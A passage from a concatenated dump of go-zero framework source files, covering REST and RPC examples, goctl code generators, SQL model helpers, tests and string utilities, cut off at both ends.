return default: x := pool.Get().(int) atomic.AddInt32(&consumed, 1) pool.Put(x) } } }() } bufio.NewReader(os.Stdin).ReadLine() close(quit) fmt.Println("quitted") waitGroup.Wait() fmt.Printf("consumed %d\n", atomic.LoadInt32(&consumed)) } ``` main.go ```package main import ( "flag" "fmt" "net/http" "github.com/tal-tech/go-zero/core/logx" "github.com/tal-tech/go-zero/core/service" "github.com/tal-tech/go-zero/rest" "github.com/tal-tech/go-zero/rest/httpx" ) var ( port = flag.Int("port", 3333, "the port to listen") timeout = flag.Int64("timeout", 0, "timeout of milliseconds") ) type Request struct { User string `json:"user"` } func handleGet(w http.ResponseWriter, r *http.Request) { } func handlePost(w http.ResponseWriter, r *http.Request) { var req Request err := httpx.Parse(r, &req) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } httpx.OkJson(w, fmt.Sprintf("Content-Length: %d, UserLen: %d", r.ContentLength, len(req.User))) } func main() { flag.Parse() engine := rest.MustNewServer(rest.RestConf{ ServiceConf: service.ServiceConf{ Log: logx.LogConf{ Mode: "console", }, }, Port: *port, Timeout: *timeout, MaxConns: 500, MaxBytes: 50, CpuThreshold: 500, }) defer engine.Stop() engine.AddRoute(rest.Route{ Method: http.MethodGet, Path: "/", Handler: handleGet, }) engine.AddRoute(rest.Route{ Method: http.MethodPost, Path: "/", Handler: handlePost, }) engine.Start() } ``` util.go ```package httpx import "net/http" const xForwardFor = "X-Forward-For" // Returns the peer address, supports X-Forward-For func GetRemoteAddr(r *http.Request) string { v := r.Header.Get(xForwardFor) if len(v) > 0 { return v } return r.RemoteAddr } ``` config.go ```package discov import "errors" type EtcdConf struct { Hosts []string Key string } func (c EtcdConf) Validate() error { if len(c.Hosts) == 0 { return errors.New("empty etcd hosts") } else if len(c.Key) == 0 { return errors.New("empty etcd key") } else { return nil } } ``` defaultgenerator.go ```package generator import ( "os/exec" "github.com/tal-tech/go-zero/tools/goctl/util/console" ) type defaultGenerator struct { log console.Console } func NewDefaultGenerator() *defaultGenerator { log := console.NewColorConsole() return &defaultGenerator{ log: log, } } func (g *defaultGenerator) Prepare() error { _, err := exec.LookPath("go") if err != nil { return err } _, err = exec.LookPath("protoc") if err != nil { return err } _, err = exec.LookPath("protoc-gen-go") return err } ``` types.go ```// Code generated by goctl. DO NOT EDIT. package types type Response struct { Host string `json:"host"` Time int64 `json:"time"` } ``` sharding_test.go ```package sharding import ( "testing" "github.com/stretchr/testify/assert" ) func TestSiphash64(t *testing.T) { users := [][]string{ { "5a4b7347200a6e0c185d6101", "5b74c444acdd315c509b78fe", "5c03e009a496130c2d9bc970", "5c6ab5a74867f267d560dd9f", "5b80a2b28be129507d176284", "5a4b7347200a6e0c185d6101", "5b74c444acdd315c509b78fe", "5c03e009a496130c2d9bc970", "5c6ab5a74867f267d560dd9f", "5b80a2b28be129507d176284", "5b8d157aacdd313508a892f2", "5bf942b4a496130c2d9b7378", "5c7fc28cd065f17f9edd3698", "5bf40bd22c64fc5ea63a5174", }, { "5b839929acdd31271f03ded5", "5bc9e28e2c64fc1a69a28e36", "5b935d96a49613677b90b589", "5b97acb2a49613677b910f47", "5c902f3aff5be73689b4b522", }, { "5cdbee881a722f0001b9ce99", "", "5caca58f53add40001c20aaa", "5beee68520c25041544e353a", "5b0b957d0179b05769cbecde", "5bbf45940ab7b7589aa1025f", "5ac63009200a6e79cadf5175", "5c94ed250ab7b7386c294662", "5b9f8ccb2c64fc5832e47d3f", }, } for shard, ids := range users { for _, id := range ids { assert.Equal(t, uint64(shard), sharding(id)) } } } ``` client.go ```package main import ( "context" "flag" "fmt" "log" "sync" "github.com/tal-tech/go-zero/core/discov" "github.com/tal-tech/go-zero/example/rpc/remote/stream" "github.com/tal-tech/go-zero/zrpc" ) const name = "kevin" var key = flag.String("key", "zrpc", "the key on etcd") func main() { flag.Parse() client, err := zrpc.NewClientNoAuth(discov.EtcdConf{ Hosts: []string{"localhost:2379"}, Key: *key, }) if err != nil { log.Fatal(err) } conn := client.Conn() greet := stream.NewStreamGreeterClient(conn) stm, err := greet.Greet(context.Background()) if err != nil { log.Fatal(err) } var wg sync.WaitGroup go func() { for { resp, err := stm.Recv() if err != nil { log.Fatal(err) } fmt.Println("=>", resp.Greet) wg.Done() } }() for i := 0; i < 3; i++ { wg.Add(1) fmt.Println("<=", name) if err = stm.Send(&stream.StreamReq{ Name: name, }); err != nil { log.Fatal(err) } } wg.Wait() } ``` client.go ```package zrpc import ( "log" "time" "github.com/tal-tech/go-zero/core/discov" "github.com/tal-tech/go-zero/zrpc/internal" "github.com/tal-tech/go-zero/zrpc/internal/auth" "google.golang.org/grpc" ) var ( WithDialOption = internal.WithDialOption WithTimeout = internal.WithTimeout WithUnaryClientInterceptor = internal.WithUnaryClientInterceptor ) type ( ClientOption = internal.ClientOption Client interface { Conn() *grpc.ClientConn } RpcClient struct { client Client } ) func MustNewClient(c RpcClientConf, options ...ClientOption) Client { cli, err := NewClient(c, options...) if err != nil { log.Fatal(err) } return cli } func NewClient(c RpcClientConf, options ...ClientOption) (Client, error) { var opts []ClientOption if c.HasCredential() { opts = append(opts, WithDialOption(grpc.WithPerRPCCredentials(&auth.Credential{ App: c.App, Token: c.Token, }))) } if c.Timeout > 0 { opts = append(opts, WithTimeout(time.Duration(c.Timeout)*time.Millisecond)) } opts = append(opts, options...) var client Client var err error if len(c.Endpoints) > 0 { client, err = internal.NewClient(internal.BuildDirectTarget(c.Endpoints), opts...) } else if err = c.Etcd.Validate(); err == nil { client, err = internal.NewClient(internal.BuildDiscovTarget(c.Etcd.Hosts, c.Etcd.Key), opts...) } if err != nil { return nil, err } return &RpcClient{ client: client, }, nil } func NewClientNoAuth(c discov.EtcdConf, opts ...ClientOption) (Client, error) { client, err := internal.NewClient(internal.BuildDiscovTarget(c.Hosts, c.Key), opts...) if err != nil { return nil, err } return &RpcClient{ client: client, }, nil } func NewClientWithTarget(target string, opts ...ClientOption) (Client, error) { return internal.NewClient(target, opts...) } func (rc *RpcClient) Conn() *grpc.ClientConn { return rc.client.Conn() } ``` gen.go ```package generator import ( "path/filepath" conf "github.com/tal-tech/go-zero/tools/goctl/config" "github.com/tal-tech/go-zero/tools/goctl/rpc/parser" "github.com/tal-tech/go-zero/tools/goctl/util" "github.com/tal-tech/go-zero/tools/goctl/util/console" "github.com/tal-tech/go-zero/tools/goctl/util/ctx" ) type RpcGenerator struct { g Generator cfg *conf.Config } func NewDefaultRpcGenerator(style string) (*RpcGenerator, error) { cfg, err := conf.NewConfig(style) if err != nil { return nil, err } return NewRpcGenerator(NewDefaultGenerator(), cfg), nil } func NewRpcGenerator(g Generator, cfg *conf.Config) *RpcGenerator { return &RpcGenerator{ g: g, cfg: cfg, } } func (g *RpcGenerator) Generate(src, target string, protoImportPath []string) error { abs, err := filepath.Abs(target) if err != nil { return err } err = util.MkdirIfNotExist(abs) if err != nil { return err } err = g.g.Prepare() if err != nil { return err } projectCtx, err := ctx.Prepare(abs) if err != nil { return err } p := parser.NewDefaultProtoParser() proto, err := p.Parse(src) if err != nil { return err } dirCtx, err := mkdir(projectCtx, proto) if err != nil { return err } err = g.g.GenEtc(dirCtx, proto, g.cfg) if err != nil { return err } err = g.g.GenPb(dirCtx, protoImportPath, proto, g.cfg) if err != nil { return err } err = g.g.GenConfig(dirCtx, proto, g.cfg) if err != nil { return err } err = g.g.GenSvc(dirCtx, proto, g.cfg) if err != nil { return err } err = g.g.GenLogic(dirCtx, proto, g.cfg) if err != nil { return err } err = g.g.GenServer(dirCtx, proto, g.cfg) if err != nil { return err } err = g.g.GenMain(dirCtx, proto, g.cfg) if err != nil { return err } err = g.g.GenCall(dirCtx, proto, g.cfg) console.NewColorConsole().MarkDone() return err } ``` transformer_mock.go ```// Code generated by MockGen. DO NOT EDIT. // Source: transformer.go // Package transformer is a generated GoMock package. package transformer import ( context "context" gomock "github.com/golang/mock/gomock" reflect "reflect" ) // MockTransformer is a mock of Transformer interface type MockTransformer struct { ctrl *gomock.Controller recorder *MockTransformerMockRecorder } // MockTransformerMockRecorder is the mock recorder for MockTransformer type MockTransformerMockRecorder struct { mock *MockTransformer } // NewMockTransformer creates a new mock instance func NewMockTransformer(ctrl *gomock.Controller) *MockTransformer { mock := &MockTransformer{ctrl: ctrl} mock.recorder = &MockTransformerMockRecorder{mock} return mock } // EXPECT returns an object that allows the caller to indicate expected use func (m *MockTransformer) EXPECT() *MockTransformerMockRecorder { return m.recorder } // Expand mocks base method func (m *MockTransformer) Expand(ctx context.Context, in *ExpandReq) (*ExpandResp, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "Expand", ctx, in) ret0, _ := ret[0].(*ExpandResp) ret1, _ := ret[1].(error) return ret0, ret1 } // Expand indicates an expected call of Expand func (mr *MockTransformerMockRecorder) Expand(ctx, in interface{}) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Expand", reflect.TypeOf((*MockTransformer)(nil).Expand), ctx, in) } // Shorten mocks base method func (m *MockTransformer) Shorten(ctx context.Context, in *ShortenReq) (*ShortenResp, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "Shorten", ctx, in) ret0, _ := ret[0].(*ShortenResp) ret1, _ := ret[1].(error) return ret0, ret1 } // Shorten indicates an expected call of Shorten func (mr *MockTransformerMockRecorder) Shorten(ctx, in interface{}) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Shorten", reflect.TypeOf((*MockTransformer)(nil).Shorten), ctx, in) } ``` alert_polyfill.go ```// +build !linux package stat func Report(string) { } func SetReporter(func(string)) { } ``` informationschemamodel.go ```package model import ( "github.com/tal-tech/go-zero/core/stores/sqlx" ) type ( InformationSchemaModel struct { conn sqlx.SqlConn } Column struct { Name string `db:"COLUMN_NAME"` DataType string `db:"DATA_TYPE"` Key string `db:"COLUMN_KEY"` Extra string `db:"EXTRA"` Comment string `db:"COLUMN_COMMENT"` } ) func NewInformationSchemaModel(conn sqlx.SqlConn) *InformationSchemaModel { return &InformationSchemaModel{conn: conn} } func (m *InformationSchemaModel) GetAllTables(database string) ([]string, error) { query := `select TABLE_NAME from TABLES where TABLE_SCHEMA = ?` var tables []string err := m.conn.QueryRows(&tables, query, database) if err != nil { return nil, err } return tables, nil } func (m *InformationSchemaModel) FindByTableName(db, table string) ([]*Column, error) { querySql := `select COLUMN_NAME,DATA_TYPE,COLUMN_KEY,EXTRA,COLUMN_COMMENT from COLUMNS where TABLE_SCHEMA = ? and TABLE_NAME = ?` var reply []*Column err := m.conn.QueryRows(&reply, querySql, db, table) return reply, err } ``` findonebyfield.go ```package gen import ( "fmt" "strings" "github.com/tal-tech/go-zero/tools/goctl/model/sql/template" "github.com/tal-tech/go-zero/tools/goctl/util" "github.com/tal-tech/go-zero/tools/goctl/util/stringx" ) type findOneCode struct { findOneMethod string findOneInterfaceMethod string cacheExtra string } func genFindOneByField(table Table, withCache bool) (*findOneCode, error) { text, err := util.LoadTemplate(category, findOneByFieldTemplateFile, template.FindOneByField) if err != nil { return nil, err } t := util.With("findOneByField").Parse(text) var list []string camelTableName := table.Name.ToCamel() for _, field := range table.Fields { if field.IsPrimaryKey || !field.IsUniqueKey { continue } camelFieldName := field.Name.ToCamel() output, err := t.Execute(map[string]interface{}{ "upperStartCamelObject": camelTableName, "upperField": camelFieldName, "in": fmt.Sprintf("%s %s", stringx.From(camelFieldName).UnTitle(), field.DataType), "withCache": withCache, "cacheKey": table.CacheKey[field.Name.Source()].KeyExpression, "cacheKeyVariable": table.CacheKey[field.Name.Source()].Variable, "lowerStartCamelObject": stringx.From(camelTableName).UnTitle(), "lowerStartCamelField": stringx.From(camelFieldName).UnTitle(), "upperStartCamelPrimaryKey": table.PrimaryKey.Name.ToCamel(), "originalField": field.Name.Source(), }) if err != nil { return nil, err } list = append(list, output.String()) } text, err = util.LoadTemplate(category, findOneByFieldMethodTemplateFile, template.FindOneByFieldMethod) if err != nil { return nil, err } t = util.With("findOneByFieldMethod").Parse(text) var listMethod []string for _, field := range table.Fields { if field.IsPrimaryKey || !field.IsUniqueKey { continue } camelFieldName := field.Name.ToCamel() output, err := t.Execute(map[string]interface{}{ "upperStartCamelObject": camelTableName, "upperField": camelFieldName, "in": fmt.Sprintf("%s %s", stringx.From(camelFieldName).UnTitle(), field.DataType), }) if err != nil { return nil, err } listMethod = append(listMethod, output.String()) } if withCache { text, err := util.LoadTemplate(category, findOneByFieldExtraMethodTemplateFile, template.FindOneByFieldExtraMethod) if err != nil { return nil, err } out, err := util.With("findOneByFieldExtraMethod").Parse(text).Execute(map[string]interface{}{ "upperStartCamelObject": camelTableName, "primaryKeyLeft": table.CacheKey[table.PrimaryKey.Name.Source()].Left, "lowerStartCamelObject": stringx.From(camelTableName).UnTitle(), "originalPrimaryField": table.PrimaryKey.Name.Source(), }) if err != nil { return nil, err } return &findOneCode{ findOneMethod: strings.Join(list, util.NL), findOneInterfaceMethod: strings.Join(listMethod, util.NL), cacheExtra: out.String(), }, nil } return &findOneCode{ findOneMethod: strings.Join(list, util.NL), findOneInterfaceMethod: strings.Join(listMethod, util.NL), }, nil } ``` case.go ```package util func IsUpperCase(r rune) bool { if r >= 'A' && r <= 'Z' { return true } return false } func IsLowerCase(r rune) bool { if r >= 'a' && r <= 'z' { return true } return false } func ToSnakeCase(s string) string { out := []rune{} for index, r := range s { if index == 0 { out = append(out, ToLowerCase(r)) continue } if IsUpperCase(r) && index != 0 { if IsLowerCase(rune(s[index-1])) { out = append(out, '_', ToLowerCase(r)) continue } if index < len(s)-1 && IsLowerCase(rune(s[index+1])) { out = append(out, '_', ToLowerCase(r)) continue } out = append(out, ToLowerCase(r)) continue } out = append(out, r) } return string(out) } func ToCamelCase(s string) string { s = ToLower(s) out := []rune{} for index, r := range s { if r == '_' { continue } if index == 0 { out = append(out, ToUpperCase(r)) continue } if index > 0 && s[index-1] == '_' { out = append(out, ToUpperCase(r)) continue } out = append(out, r) } return string(out) } func ToLowerCase(r rune) rune { dx := 'A' - 'a' if IsUpperCase(r) { return r - dx } return r } func ToUpperCase(r rune) rune { dx := 'A' - 'a' if IsLowerCase(r) { return r + dx } return r } func ToLower(s string) string { out := []rune{} for _, r := range s { out = append(out, ToLowerCase(r)) } return string(out) } func ToUpper(s string) string { out := []rune{} for _, r := range s { out = append(out, ToUpperCase(r)) } return string(out) } func LowerFirst(s string) string { if len(s) == 0 { return s } return ToLower(s[:1]) + s[1:] } func UpperFirst(s string) string { if len(s) == 0 { return s } return ToUpper(s[:1]) + s[1:] } ``` main.go ```package main import ( "flag" "fmt" "io" "math" "math/rand" "os" "sync" "sync/atomic" "time" "github.com/tal-tech/go-zero/core/collection" "github.com/tal-tech/go-zero/core/executors" "github.com/tal-tech/go-zero/core/logx" "github.com/tal-tech/go-zero/core/syncx" "gopkg.in/cheggaaa/pb.v1" ) const ( beta = 0.9 total = 400 interval = time.Second factor = 5 ) var ( seconds = flag.Int("d", 400, "duration to go") flying uint64 avgFlyingAggressive float64 aggressiveLock syncx.SpinLock avgFlyingLazy float64 lazyLock syncx.SpinLock avgFlyingBoth float64 bothLock syncx.SpinLock lessWriter *executors.LessExecutor passCounter = collection.NewRollingWindow(50, time.Millisecond*100) rtCounter = collection.NewRollingWindow(50, time.Millisecond*100) index int32 ) func main() { flag.Parse() // only log 100 records lessWriter = executors.NewLessExecutor(interval * total / 100) fp, err := os.Create("result.csv") logx.Must(err) defer fp.Close() fmt.Fprintln(fp, "second,maxFlight,flying,agressiveAvgFlying,lazyAvgFlying,bothAvgFlying") ticker := time.NewTicker(interval) defer ticker.Stop() bar := pb.New(*seconds * 2).Start() var waitGroup sync.WaitGroup batchRequests := func(i int) { <-ticker.C requests := (i + 1) * factor func() { it := time.NewTicker(interval / time.Duration(requests)) defer it.Stop() for j := 0; j < requests; j++ { <-it.C waitGroup.Add(1) go func() { issueRequest(fp, atomic.AddInt32(&index, 1)) waitGroup.Done() }() } bar.Increment() }() } for i := 0; i < *seconds; i++ { batchRequests(i) } for i := *seconds; i > 0; i-- { batchRequests(i) } bar.Finish() waitGroup.Wait() } func issueRequest(writer io.Writer, idx int32) { v := atomic.AddUint64(&flying, 1) aggressiveLock.Lock() af := avgFlyingAggressive*beta + float64(v)*(1-beta) avgFlyingAggressive = af aggressiveLock.Unlock() bothLock.Lock() bf := avgFlyingBoth*beta + float64(v)*(1-beta) avgFlyingBoth = bf bothLock.Unlock() duration := time.Millisecond * time.Duration(rand.Int63n(10)+1) job(duration) passCounter.Add(1) rtCounter.Add(float64(duration) / float64(time.Millisecond)) v1 := atomic.AddUint64(&flying, ^uint64(0)) lazyLock.Lock() lf := avgFlyingLazy*beta + float64(v1)*(1-beta) avgFlyingLazy = lf lazyLock.Unlock() bothLock.Lock() bf = avgFlyingBoth*beta + float64(v1)*(1-beta) avgFlyingBoth = bf bothLock.Unlock() lessWriter.DoOrDiscard(func() { fmt.Fprintf(writer, "%d,%d,%d,%.2f,%.2f,%.2f\n", idx, maxFlight(), v, af, lf, bf) }) } func job(duration time.Duration) { time.Sleep(duration) } func maxFlight() int64 { return int64(math.Max(1, float64(maxPass()*10)*(minRt()/1e3))) } func maxPass() int64 { var result float64 = 1 passCounter.Reduce(func(b *collection.Bucket) { if b.Sum > result { result = b.Sum } }) return int64(result) } func minRt() float64 { var result float64 = 1000 rtCounter.Reduce(func(b *collection.Bucket) { if b.Count <= 0 { return } avg := math.Round(b.Sum / float64(b.Count)) if avg < result { result = avg } }) return result } ``` proxy.go ```package main import ( "context" "flag" "github.com/tal-tech/go-zero/core/logx" "github.com/tal-tech/go-zero/core/service" "github.com/tal-tech/go-zero/example/rpc/remote/unary" "github.com/tal-tech/go-zero/zrpc" "google.golang.org/grpc" ) var ( listen = flag.String("listen", "0.0.0.0:3456", "the address to listen on") server = flag.String("server", "dns:///unaryserver:3456", "the backend service") ) type GreetServer struct { *zrpc.RpcProxy } func (s *GreetServer) Greet(ctx context.Context, req *unary.Request) (*unary.Response, error) { conn, err := s.TakeConn(ctx) if err != nil { return nil, err } remote := unary.NewGreeterClient(conn) return remote.Greet(ctx, req) } func main() { flag.Parse() proxy := zrpc.MustNewServer(zrpc.RpcServerConf{ ServiceConf: service.ServiceConf{ Log: logx.LogConf{ Mode: "console", }, }, ListenOn: *listen, }, func(grpcServer *grpc.Server) { unary.RegisterGreeterServer(grpcServer, &GreetServer{ RpcProxy: zrpc.NewProxy(*server), }) }) proxy.Start() } ``` genpacket.go ```package javagen import ( "bufio" "bytes" "fmt" "io" "os" "strings" "text/template" "github.com/tal-tech/go-zero/core/stringx" "github.com/tal-tech/go-zero/tools/goctl/api/spec" apiutil "github.com/tal-tech/go-zero/tools/goctl/api/util" "github.com/tal-tech/go-zero/tools/goctl/util" ) const packetTemplate = `package com.xhb.logic.http.packet.{{.packet}}; import com.google.gson.Gson; import com.xhb.commons.JSON; import com.xhb.commons.JsonParser; import com.xhb.core.network.HttpRequestClient; import com.xhb.core.packet.HttpRequestPacket; import com.xhb.core.response.HttpResponseData; import com.xhb.logic.http.DeProguardable; {{.import}} import org.jetbrains.annotations.NotNull; import org.json.JSONObject; public class {{.packetName}} extends HttpRequestPacket<{{.packetName}}.{{.packetName}}Response> { {{.paramsDeclaration}} public {{.packetName}}({{.params}}{{.requestType}} request) { super(request); this.request = request;{{.paramsSet}} } @Override public HttpRequestClient.Method requestMethod() { return HttpRequestClient.Method.{{.method}}; } @Override public String requestUri() { return {{.uri}}; } @Override public {{.packetName}}Response newInstanceFrom(JSON json) { return new {{.packetName}}Response(json); } public static class {{.packetName}}Response extends HttpResponseData { private {{.responseType}} responseData; {{.packetName}}Response(@NotNull JSON json) { super(json); JSONObject jsonObject = json.asObject(); if (JsonParser.hasKey(jsonObject, "data")) { Gson gson = new Gson(); JSONObject dataJson = JsonParser.getJSONObject(jsonObject, "data"); responseData = gson.fromJson(dataJson.toString(), {{.responseType}}.class); } } public {{.responseType}} get{{.responseType}} () { return responseData; } } {{.types}} } ` func genPacket(dir, packetName string, api *spec.ApiSpec) error { for _, route := range api.Service.Routes() { if err := createWith(dir, api, route, packetName); err != nil { return err } } return nil } func createWith(dir string, api *spec.ApiSpec, route spec.Route, packetName string) error { packet, ok := apiutil.GetAnnotationValue(route.Annotations, "server", "handler") packet = strings.Replace(packet, "Handler", "Packet", 1) if !ok { return fmt.Errorf("missing packet annotation for %q", route.Path) } javaFile := packet + ".java" fp, created, err := apiutil.MaybeCreateFile(dir, "", javaFile) if err != nil { return err } if !created { return nil } defer fp.Close() var builder strings.Builder var first bool tps := apiutil.GetLocalTypes(api, route) for _, tp := range tps { if first { first = false } else { fmt.Fprintln(&builder) } if err := genType(&builder, tp); err != nil { return err } } types := builder.String() writeIndent(&builder, 1) params := paramsForRoute(route) paramsDeclaration := declarationForRoute(route) paramsSet := paramsSet(route) t := template.Must(template.New("packetTemplate").Parse(packetTemplate)) var tmplBytes bytes.Buffer err = t.Execute(&tmplBytes, map[string]string{ "packetName": packet, "method": strings.ToUpper(route.Method), "uri": processUri(route), "types": strings.TrimSpace(types), "responseType": stringx.TakeOne(util.Title(route.ResponseType.Name), "Object"), "params": params, "paramsDeclaration": strings.TrimSpace(paramsDeclaration), "paramsSet": paramsSet, "packet": packetName, "requestType": util.Title(route.RequestType.Name), "import": getImports(api, route, packetName), }) if err != nil { return err } formatFile(&tmplBytes, fp) return nil } func getImports(api *spec.ApiSpec, route spec.Route, packetName string) string { var builder strings.Builder allTypes := apiutil.GetAllTypes(api, route) sharedTypes := apiutil.GetSharedTypes(api) for _, at := range allTypes { for _, item := range sharedTypes { if item.Name == at.Name { fmt.Fprintf(&builder, "import com.xhb.logic.http.packet.%s.model.%s;\n", packetName, item.Name) break } } } return builder.String() } func formatFile(tmplBytes *bytes.Buffer, file *os.File) { scanner := bufio.NewScanner(tmplBytes) builder := bufio.NewWriter(file) defer builder.Flush() preIsBreakLine := false for scanner.Scan() { text := strings.TrimSpace(scanner.Text()) if text == "" && preIsBreakLine { continue } preIsBreakLine = text == "" builder.WriteString(scanner.Text() + "\n") } if err := scanner.Err(); err != nil { fmt.Println(err) } } func paramsSet(route spec.Route) string { path := route.Path cops := strings.Split(path, "/") var builder strings.Builder for _, cop := range cops { if len(cop) == 0 { continue } if strings.HasPrefix(cop, ":") { param := cop[1:] builder.WriteString("\n") builder.WriteString(fmt.Sprintf("\t\tthis.%s = %s;", param, param)) } } result := builder.String() return result } func paramsForRoute(route spec.Route) string { path := route.Path cops := strings.Split(path, "/") var builder strings.Builder for _, cop := range cops { if len(cop) == 0 { continue } if strings.HasPrefix(cop, ":") { builder.WriteString(fmt.Sprintf("String %s, ", cop[1:])) } } return builder.String() } func declarationForRoute(route spec.Route) string { path := route.Path cops := strings.Split(path, "/") var builder strings.Builder writeIndent(&builder, 1) for _, cop := range cops { if len(cop) == 0 { continue } if strings.HasPrefix(cop, ":") { writeIndent(&builder, 1) builder.WriteString(fmt.Sprintf("private String %s;\n", cop[1:])) } } result := strings.TrimSpace(builder.String()) if len(result) > 0 { result = "\n" + result } return result } func processUri(route spec.Route) string { path := route.Path var builder strings.Builder cops := strings.Split(path, "/") for index, cop := range cops { if len(cop) == 0 { continue } if strings.HasPrefix(cop, ":") { builder.WriteString("/\" + " + cop[1:] + " + \"") } else { builder.WriteString("/" + cop) if index == len(cops)-1 { builder.WriteString("\"") } } } result := builder.String() if strings.HasSuffix(result, " + \"") { result = result[:len(result)-4] } if strings.HasPrefix(result, "/") { result = "\"" + result } return result } func genType(writer io.Writer, tp spec.Type) error { writeIndent(writer, 1) fmt.Fprintf(writer, "static class %s implements DeProguardable {\n", util.Title(tp.Name)) for _, member := range tp.Members { if err := writeProperty(writer, member, 2); err != nil { return err } } writeBreakline(writer) writeIndent(writer, 1) genGetSet(writer, tp, 2) writeIndent(writer, 1) fmt.Fprintln(writer, "}") return nil } ``` tag.go ```package template var Tag = "`db:\"{{.field}}\"`" ``` vars.go ```package httpx const ( ApplicationJson = "application/json" ContentEncoding = "Content-Encoding" ContentSecurity = "X-Content-Security" ContentType = "Content-Type" KeyField = "key" SecretField = "secret" TypeField = "type" CryptionType = 1 ) const ( CodeSignaturePass = iota CodeSignatureInvalidHeader CodeSignatureWrongTime CodeSignatureInvalidToken ) ``` service.go ```package parser import "github.com/emicklei/proto" type Service struct { *proto.Service RPC []*RPC } ``` utils_test.go ```package sqlx import ( "strings" "testing" "github.com/stretchr/testify/assert" ) func TestEscape(t *testing.T) { s := "a\x00\n\r\\'\"\x1ab" out := escape(s) assert.Equal(t, `a\x00\n\r\\\'\"\x1ab`, out) } func TestDesensitize(t *testing.T) { datasource := "user:pass@tcp(111.222.333.44:3306)/any_table?charset=utf8mb4&parseTime=true&loc=Asia%2FShanghai" datasource = desensitize(datasource) assert.False(t, strings.Contains(datasource, "user")) assert.False(t, strings.Contains(datasource, "pass")) assert.True(t, strings.Contains(datasource, "tcp(111.222.333.44:3306)")) } func TestDesensitize_WithoutAccount(t *testing.T) { datasource := "tcp(111.222.333.44:3306)/any_table?charset=utf8mb4&parseTime=true&loc=Asia%2FShanghai" datasource = desensitize(datasource) assert.True(t, strings.Contains(datasource, "tcp(111.222.333.44:3306)")) } ``` main.go ```package main import _ "github.com/tal-tech/go-zero/core/stat" func main() { select {} } ``` parser_test.go ```package parser import ( "testing" "github.com/stretchr/testify/assert" "github.com/tal-tech/go-zero/tools/goctl/model/sql/model" ) func TestParsePlainText(t *testing.T) { _, err := Parse("plain text") assert.NotNil(t, err) } func TestParseSelect(t *testing.T) { _, err := Parse("select * from user") assert.Equal(t, unSupportDDL, err) } func TestParseCreateTable(t *testing.T) { table, err := Parse("CREATE TABLE `user_snake` (\n `id` bigint(10) NOT NULL AUTO_INCREMENT,\n `name` varchar(255) COLLATE utf8mb4_general_ci NOT NULL DEFAULT '' COMMENT '用户名称',\n `password` varchar(255) COLLATE utf8mb4_general_ci NOT NULL DEFAULT '' COMMENT '用户密码',\n `mobile` varchar(255) COLLATE utf8mb4_general_ci NOT NULL DEFAULT '' COMMENT '手机号',\n `gender` char(5) COLLATE utf8mb4_general_ci NOT NULL COMMENT '男|女|未公开',\n `nickname` varchar(255) COLLATE utf8mb4_general_ci DEFAULT '' COMMENT '用户昵称',\n `create_time` timestamp NULL DEFAULT CURRENT_TIMESTAMP,\n `update_time` timestamp NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,\n PRIMARY KEY (`id`),\n UNIQUE KEY `name_index` (`name`),\n KEY `mobile_index` (`mobile`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;") assert.Nil(t, err) assert.Equal(t, "user_snake", table.Name.Source()) assert.Equal(t, "id", table.PrimaryKey.Name.Source()) assert.Equal(t, true, table.ContainsTime()) } func TestConvertColumn(t *testing.T) { _, err := ConvertColumn("user", "user", []*model.Column{ { Name: "id", DataType: "bigint", Key: "", Extra: "", Comment: "", }, }) assert.NotNil(t, err) assert.Contains(t, err.Error(), "missing primary key") _, err = ConvertColumn("user", "user", []*model.Column{ { Name: "id", DataType: "bigint", Key: "PRI", Extra: "", Comment: "", }, { Name: "mobile", DataType: "varchar", Key: "PRI", Extra: "", Comment: "手机号", }, }) assert.NotNil(t, err) assert.Contains(t, err.Error(), "only one primary key expected") table, err := ConvertColumn("user", "user", []*model.Column{ { Name: "id", DataType: "bigint", Key: "PRI", Extra: "auto_increment", Comment: "", }, { Name: "mobile", DataType: "varchar", Key: "UNI", Extra: "", Comment: "手机号", }, }) assert.Nil(t, err) assert.True(t, table.PrimaryKey.AutoIncrement && table.PrimaryKey.IsPrimaryKey) assert.Equal(t, "id", table.PrimaryKey.Name.Source()) for _, item := range table.Fields { if item.Name.Source() == "mobile" { assert.True(t, item.IsUniqueKey) } } } ``` keys_test.go ```package gen import ( "fmt" "testing" "github.com/stretchr/testify/assert" "github.com/tal-tech/go-zero/tools/goctl/model/sql/parser" "github.com/tal-tech/go-zero/tools/goctl/util/stringx" ) func TestGenCacheKeys(t *testing.T) { m, err := genCacheKeys(parser.Table{ Name: stringx.From("user"), PrimaryKey: parser.Primary{ Field: parser.Field{ Name: stringx.From("id"), DataBaseType: "bigint", DataType: "int64", IsPrimaryKey: true, IsUniqueKey: false, Comment: "自增id", }, AutoIncrement: true, }, Fields: []parser.Field{ { Name: stringx.From("mobile"), DataBaseType: "varchar", DataType: "string", IsPrimaryKey: false, IsUniqueKey: true, Comment: "手机号", }, { Name: stringx.From("name"), DataBaseType: "varchar", DataType: "string", IsPrimaryKey: false, IsUniqueKey: true, Comment: "姓名", }, { Name: stringx.From("createTime"), DataBaseType: "timestamp", DataType: "time.Time", IsPrimaryKey: false, IsUniqueKey: false, Comment: "创建时间", }, { Name: stringx.From("updateTime"), DataBaseType: "timestamp", DataType: "time.Time", IsPrimaryKey: false, IsUniqueKey: false, Comment: "更新时间", }, }, }) assert.Nil(t, err) for fieldName, key := range m { name := stringx.From(fieldName) assert.Equal(t, fmt.Sprintf(`cacheUser%sPrefix = "cache#User#%s#"`, name.ToCamel(), name.UnTitle()), key.VarExpression) assert.Equal(t, fmt.Sprintf(`cacheUser%sPrefix`, name.ToCamel()), key.Left) assert.Equal(t, fmt.Sprintf(`cache#User#%s#`, name.UnTitle()), key.Right) assert.Equal(t, fmt.Sprintf(`user%sKey`, name.ToCamel()), key.Variable) assert.Equal(t, `user`+name.ToCamel()+`Key := fmt.Sprintf("%s%v", cacheUser`+name.ToCamel()+`Prefix,`+name.UnTitle()+`)`, key.KeyExpression) } } ``` vars.go ```package tsgen const ( packagePrefix = "components." ) ``` deadline.go ```package contextx import ( "context" "time" ) func 